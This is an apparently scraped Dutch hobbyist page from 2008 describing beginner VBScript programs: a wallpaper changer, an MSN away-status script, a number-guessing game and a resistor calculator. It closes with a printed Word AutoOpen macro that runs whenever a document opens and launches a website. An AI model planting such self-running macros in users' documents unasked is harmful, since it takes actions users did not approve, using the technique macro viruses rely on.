3 to set the wallpaper as wallpaper3."
& vbCR
strMsg =
strMsg &
"Press
4 to set the wallpaper as wallpaper4."
& vbCR
strMsg =
strMsg &
""
& vbCR
strMsg =
strMsg &
"Press
c to center the wallpaper."
& vbCR
strMsg =
strMsg &
"Press
t to tile the wallpaper."
& vbCR
strMsg =
strMsg &
"Press
s to strech the wallpaper."
& vbCR
strMsg =
strMsg &
""
& vbCR
strMsg =
strMsg &
"Press
h for help."
& vbCR
strMsg =
strMsg &
"Press
cancel to quit."
& vbCR
strFlag =
False
Do While
strFlag =
False
inp01 =
InputBox(strMsg,
"high-tech-Wallpaper changer!",
"Make your choice!")
Select Case
inp01
Dit is een handig programma voor als je
even niet achter je computer zit... Als je het programma opstart zul je de
vraag krijgen hoelang je weg zult zijn. In de tijd dat je weg bent krijgt je
messenger automatisch de "afwezig" status, en als je ingevoerde aantal
minuten verstreken zijn weer de online status. Erg handig dus. Het aantal
minuten dat je invoert zal iedere minuut aangepast worden en geüpdate in je
MSN® naam ( sub naam ). Jouw huidige naam wordt vervolgens opgeschoven, en op het einde van het script weer terug
geplaatst.
Eerst heb ik een simpele code ontworpen om dit
te realiseren, maar later heb ik er een functie in gemaakt voor uren
gemakkelijker weer te geven. 1440 minuten zijn in dit geval gewoon 24 uren.
Dat is gemakkelijker voor jouw contact personen. Wat betreft programmeer
niveau is het een stuk moeilijker. Het script werkt namelijk met een groot
aantal variabelen.
Het programmaatje is getest met Windows Live
Messenger®, maar zal ongetwijfeld ook werken op een oudere versie, eventueel
met een kleine aanpassing.
Als eerste word er weer een hulp-systeem-object
aangeroepen "Wscript.shell".
Daarna wordt er vervolgens een venster getoond met
alle mogelijke vormen van inputs, de mogelijke variabelen worden dus
hier beschreven.
Bij de cases staat voor iedere input wat de
bijbehorende functie is. De hoofdfunctie is dus het wijzigen van de
systeemregister waarde voor de bureaubladachtergrond. Daarbij komen
nog een aantal weergave opties. Ook zit er een helpfunctie in het
programma verwerkt, voor de minder ervaren gebruiker (dit is
professioneler).
Uiteindelijk wordt het al eerder aangeroepen
programma "Wscript.exe" afgesloten.
Dit is een soort spelletje dat je met je
vrienden kunt doen. Het spelletje herkennen de meeste wel met 6 papiertjes
met tabellen waarbij je 1 getal in gedachte moet nemen, en dat de ander het
getal moet "raden" (berekenen dus). In dit geval wordt er per tabel gekeken
of het getal in de tabel voorkomt en, wordt er automatisch een variabele "a"
gebruikt om de totale uitkomst op te tellen en uit te rekenen. Het idee is
dat iedere tabel begint met een bepaald cijfer, en deze cijfers zijn steeds
het dubbele van elkaar. Je hebt dus eigenlijk 6 variabelen die een ja of een
nee, (1 / 0) kunnen bedragen, en met deze 6 inputs kan men dus: 32 + 16 + 8
+ 4 + 2 + 1 = 64 verschillende combinaties maken. Voor de duidelijkheid: als
nul ook meedoet, dan heb je met 64 combinaties een maximale grootte van het
getal als in voer 63!
Als eerste moet er een "MsgBox" gegenereerd worden
met de benodigde informatie voor het programma.
Vervolgens moet er vastgesteld worden dat de
variabele 0 is op het begin van het script, voor het geval dat er
niets meer bij opgeteld word, dat er op het eind een "0" uit kan
komen, in plaats van een leeg vlak.
Voor het 6-tal bericht boxen, staat steeds een if-statement. Dit is om te zorgen dat de "vbYesNo" functie meteen
gebruikt kan worden.
Als er op ja (vbYes) geklikt wordt, moet er bij
variabele "a" een getal opgeteld worden. als je op nee (vbNo) klikt
hoeft het script geen actie te ondernemen, en gaat het script het if-statement sluiten (end If), en direct verder met het volgende
commando.
Het laatste commando betreft uiteraard de uitslag
van het geheel. De variabele "a" wordt hier dus gebruikt in de "MsgBox".
Dit script is in staat om te berekenen
welke waarde een weerstand heeft. Aan de hand van gekleurde ringen kan dit
programma de elektrische-weerstand waarde van de weerstand bepalen. In de
elektronica wereld worden deze weerstanden in Ohm's uitgedrukt. Het Ohm
teken betreft het symbool: "Ω". Om dit symbool te
kunnen gebruiken in de VBS, dient men de VBS op te slaan in de
tekstcodering: "Unicode". Als je dit niet doet, of wil doen, komt er in
plaats van het Ohm teken een O te staan. Als je wilt kun je het teken ook
vervangen door de grootheid Ohm voluit te schijven.
Verder heb ik de code (dit programma als
oefening) zodanig geprogrammeerd dat het grootste gedeelte, namelijk het
bijbehorende getal bij de kleur maar 1 keer geprogrammeerd hoeft te worden.
Om hiervoor te zorgen heb ik het programma in een "do...loop" functie geschrieven. Deze functie zal 4 maal uitgevoerd moeten worden, en anders zou
de code ongeveer dus 4 keer zo lang worden.
Als eerste zeg je dat de variabele "ring" de in houd
"1" moet dragen om ervoor te zorgen dat dit getal in de vraag
verschijnt.
De variabele "standaard" wordt ook standaard
ingesteld op zwart, zodat als de gebruiker niets invoert, de waarde
0 gebruikt wordt.
Hierna wordt de "inputbox" getoond, met de
gebruikelijke variabelen.
Vervolgens moet er vastgesteld worden dat als er
geen invoer is (oftewel iemand heeft op annuleren geklikt ) om
vervolgens het script te beëindigen.
Hierna volgen alle mogelijke invoeren met de
bijbehorende getallen, en leestekens.
Mocht het toch nog voorkomen dat je een typfout
maakt, of een onbekende kleur opgeeft, dan krijg je een error te
zien. Waarna het script beëindigd word, zodat je het opnieuw kunt
starten.
De laatste stukjes script zorgen ervoor dat de
verzamelde informatie in de juiste variabelen geplaatst worden, om
op het laatst in de "MsgBox" te zetten.
Deze macro zorgt ervoor dat iedere
keer dat een Word® bestand geopend word, 2 "MsgBox" popups getoont worden,
en vervolgens deze site. Uiteraard moet je om een webpagina te kunnen openen
eerst "WScript.exe"aanroepen, en later afgesloten.
Zo
ga je te werk:
stap 1
je opent een MICRO$OFT WORD® document (.DOC)
stap 2 je drukt op ALT-F8
stap 3 je typt de macro naam ( AutoOpen
) en klikt op bewerken
stap 4 dit typ je in het vlak: (aanpassing mogelijk)
1
2
3
4
5
6
7
CSub AutoOpen()
MsgBox "HALLO!"
MsgBox "Wil je mijn site zien?"
Set shl
= CreateObject("Wscript.shell")
shl.Run "http://www.high-tech-web.nl.tt/"
MsgBox "Bedankt voor het bezoeken
van mijn site!"
End Sub
stap 5
en vervolgens sluit je het scherm.
Nu zal iedere keer dat men WORD® start deze
tekst/vraag/site verschijnen
Meer word shit (ook VBS) zien we op
de
----->download
pagina!<-----
| Auteur: Johnny
Heesterbeek | Datum: 25-03-2008 |
Meer
informatie
Gerelateerde informatie
Hieronder,
vindt U aanvullende
informatie over het
bovenstaande onderwerp:
Er is momenteel nog geen
aanvullende informatie
aanwezig...
Informatie zoeken...
Ook
kunt U zelf de gewenste
specifieke informatie
zoeken, middels deze
zoekmachine:
Pagina
bewaren / delen
Favorieten
U
kunt
deze website toevoegen aan
uw favorieten, zodat U later
nog eens terug kunt kijken.
Klik hier:
(Ctrl D voor FF.)